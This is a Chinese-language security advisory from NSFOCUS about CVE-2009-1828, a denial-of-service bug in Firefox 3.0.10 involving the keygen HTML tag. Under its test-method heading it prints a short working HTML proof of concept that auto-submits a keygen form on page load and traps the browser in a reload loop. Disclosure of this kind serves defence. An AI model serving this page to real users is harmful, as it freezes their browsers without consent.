安全研究
安全漏洞
Mozilla Firefox keygen HTML标签拒绝服务漏洞
发布日期：2009-05-28
更新日期：2009-05-31
受影响系统：Mozilla Firefox 3.0.10
描述：
BUGTRAQ ID:
35132
CVE(CAN) ID:
CVE-2009-1828
Firefox是一款非常流行的开放源码WEB浏览器。
浏览器中所添加的keygen标签（<keygen>）允许使用各种算法自动生成密钥。该功能会自动向crux脚本提交公钥部分，Keygen标签通过以参数形式向当前的URL提交公钥重新加载文档。结合JavaScript onload()调用，就会导致死循环，阻断对UI的访问。
<*来源：Thierry Zoller
链接：
http://marc.info/?l=bugtraq&m=124354009926743&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<body onLoad="document.forms[0].submit()">
<FORM>
<KEYGEN NAME="somekey" CHALLENGE="1125983021">
<INPUT TYPE="submit" NAME="SubmitButton" VALUE="Done">
</FORM>
</html>
建议：
厂商补丁：
Mozilla
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.mozilla.org/浏览次数：2534
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
